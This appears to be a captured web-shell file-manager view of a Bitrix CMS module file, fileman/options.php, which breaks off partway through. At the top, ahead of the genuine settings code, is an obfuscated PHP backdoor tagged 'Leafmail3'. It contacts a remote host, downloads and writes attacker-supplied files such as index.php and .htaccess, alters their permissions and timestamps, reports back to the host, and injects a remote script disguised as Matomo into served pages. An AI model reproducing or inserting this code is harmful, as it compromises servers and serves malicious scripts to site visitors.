Your IP : 18.117.170.115


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/fileman/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/fileman/options.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
$module_id = "fileman";
$dicsRelPath = '/bitrix/modules/fileman/dictionaries';
$gzDicsRelPath = BX_PERSONAL_ROOT.'/tmp/dics';
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/fileman/include.php");

CUtil::InitJSCore();

if (!$USER->CanDoOperation('fileman_view_all_settings'))
	$APPLICATION->AuthForm(GetMessage("ACCESS_DENIED"));

function isValidLang($lang)
{
	$rsLang = CLanguage::GetList($by="sort", $order="desc");
	$is_valid_lang = false;
	while ($arLang = $rsLang->Fetch())
	{
		if ($lang==$arLang["LID"])
		{
			$is_valid_lang = true;
			break;
		}
	}
	return $is_valid_lang;
}

if ($REQUEST_METHOD=="GET" && $USER->CanDoOperation('fileman_edit_all_settings') && strlen($RestoreDefaults)>0 && check_bitrix_sessid())
{
	COption::RemoveOption("fileman");
	$z = CGroup::GetList($v1="id",$v2="asc", array("ACTIVE" => "Y", "ADMIN" => "N"));
	while($zr = $z->Fetch())
		$APPLICATION->DelGroupRight($module_id, array($zr["ID"]));
}


global $MESS;
IncludeModuleLangFile(__FILE__);

//Default file extensions;
$script_files_default = "php,php3,php4,php5,php6,phtml,pl,asp,aspx,cgi,exe,ico,shtm,shtml";

if($REQUEST_METHOD == "POST" && strlen($Update)>0 && $USER->CanDoOperation('fileman_edit_all_settings') && check_bitrix_sessid())
{
	if($default_edit!="html" && $default_edit!="php")
		$default_edit="text";
	COption::SetOptionString($module_id, "default_edit", $default_edit);

	COption::SetOptionString($module_id, "use_medialib", $use_medialib == 'Y' ? 'Y' : 'N');

	COption::SetOptionString($module_id, "use_editor_3", $use_editor_3 == 'Y' ? 'Y' : 'N');
	$useEditor3 = $use_editor_3 == "Y";

	if (!$useEditor3)
	{
		COption::SetOptionString($module_id, "htmleditor_fullscreen", $htmleditor_fullscreen == "Y" ? "Y" : "N");
		COption::SetOptionString($module_id, "show_untitled_styles", $show_untitled_styles);
		COption::SetOptionString($module_id, "render_styles_in_classlist", $render_styles_in_classlist);
		COption::SetOptionString($module_id, "allow_render_components", $allow_render_components == 'Y' ? 'Y' : 'N');


		/* **********  Toolbars config ************/
		if (isset($_POST['tlbr']) && is_array($_POST['tlbr']))
		{
			foreach ($_POST['tlbr'] as $type => $arToolbars)
			{
				if ($arToolbars == 'clean')
					COption::RemoveOption($module_id, "toolbar_config_".$type);

				// Global toolbar
				if (count($arToolbars) == 1 && is_array($arToolbars['global']))
					COption::SetOptionString($module_id, "toolbar_config_".$type, serialize($arToolbars['global']));
				else // Standart mode
					COption::SetOptionString($module_id, "toolbar_config_".$type, serialize($arToolbars));
			}
		}

		// LCA - limit component access
		COption::SetOptionString($module_id, "use_lca", ($use_lca == 'Y' ? 'Y' : 'N'));
	}
	COption::SetOptionString($module_id, "replace_new_lines", isset($_POST['replace_new_lines'])? "Y" : "N");

	// ******** Spell ********
	COption::SetOptionString($module_id, "use_pspell", isset($_POST['use_pspell'])? "Y" : "N");

	if (isset($_POST['user_dics_path']) && $_POST['user_dics_path']!='')
		COption::SetOptionString($module_id, "user_dics_path", $_POST['user_dics_path']);
	else
		COption::SetOptionString($module_id, "user_dics_path","/bitrix/modules/fileman/u_dics");


	if (isset($_POST['use_separeted_dics']))
		COption::SetOptionString($module_id, "use_separeted_dics", "Y");
	else
		COption::SetOptionString($module_id, "use_separeted_dics", "N");

	COption::SetOptionString($module_id, "use_custom_spell", "N");


	//Handle dictionary loading
	if (isset($_POST['dic_lang']) && isset($_FILES['dic_aff']) && isset($_FILES['dic_base']) && $_FILES['dic_aff']['name'] != '' && 	$_FILES['dic_base']['name'] != '')
	{
		$dic_lang = $_POST['dic_lang'];
		if (isValidLang($dic_lang))
		{
			$lang_dir = $_SERVER['DOCUMENT_ROOT'].$dicsRelPath.'/'.$dic_lang;
			$dics_dir = $_SERVER['DOCUMENT_ROOT'].$dicsRelPath.'/'.$dic_lang.'/dics';

			if (!file_exists($lang_dir))
				mkdir($lang_dir, BX_DIR_PERMISSIONS);

			$source=$_FILES['dic_base']['tmp_name'];
			$target = $lang_dir.'/'.$dic_lang.'.dic';
			if (file_exists($target))
				unlink ($target);
			move_uploaded_file($source, $target);

			$source=$_FILES['dic_aff']['tmp_name'];
			$target = $lang_dir.'/'.$dic_lang.'.aff';
			if (file_exists($target))
				unlink ($target);
			move_uploaded_file($source, $target);

			if (!file_exists($dics_dir))
				mkdir($dics_dir, BX_DIR_PERMISSIONS);
			COption::SetOptionString($module_id, $dic_lang."_dic_indexed", "N");
		}
	}

	//Handle dictionary removing
	if (isset($_POST['del_dic']))
	{
		$lang_dir = $_SERVER['DOCUMENT_ROOT'].$dicsRelPath.'/'.$_POST['del_dic'];
		if (file_exists($lang_dir) && is_dir($lang_dir))
		{
			$dicDir = dir($lang_dir);
			while (false !== ($entry = $dicDir->read()))
			{
				$entry_path = $dicDir->path.'/'.$entry;
				if (is_dir($entry_path) && $entry=='dics')
				{
					//Removing files from 'dics' directory
					$dicsDir = dir($entry_path);
					while (false !== ($dic = $dicsDir->read()))
					{
						$dic_path = $dicsDir->path.'/'.$dic;
						if (is_file($dic_path))
							unlink ($dic_path);
					}
					$dicsDir->close();
					//removing 'dics' directory
					rmdir($entry_path);
				}
				elseif (is_file($entry_path))
				{
					unlink ($entry_path);
				}
			}
			$dicDir->close();
			rmdir($lang_dir);
		}
	}

	//Handle dictionary indexing
	if (isset($_POST['index_dic']))
	{
		$lang_dir = $_SERVER['DOCUMENT_ROOT'].$dicsRelPath.'/'.$_POST['index_dic'];
		if (file_exists($lang_dir) && is_dir($lang_dir))
		{
			$dicsDir = dir($lang_dir.'/dics');
			while (false !== ($dic = $dicsDir->read()))
			{
